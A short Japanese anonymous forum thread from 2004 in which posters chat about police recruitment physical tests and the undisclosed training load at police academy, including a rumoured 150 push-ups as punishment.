148 :名無しピーポ君:04/06/18 11:40
どうでしたか?

149 :名無しピーポ君:04/06/18 11:58
試験ではよほど情けない結果で無い限り
大丈夫そうだが、警察学校はいってから鍛えられるんだろうね。

でも、警察学校の具体的な訓練量は明らかにしちゃいけんのかな?
どこにも載ってないし。
具体的な数字がわからんと準備もしづらい。

150 :名無しピーポ君:04/06/18 20:19
筋肉は好きだから抱いて欲しいよ

151 :名無しピーポ君:04/06/19 23:43
とりあえず罰で腕立て150回というデータがあるが。
真偽のほどは別として。

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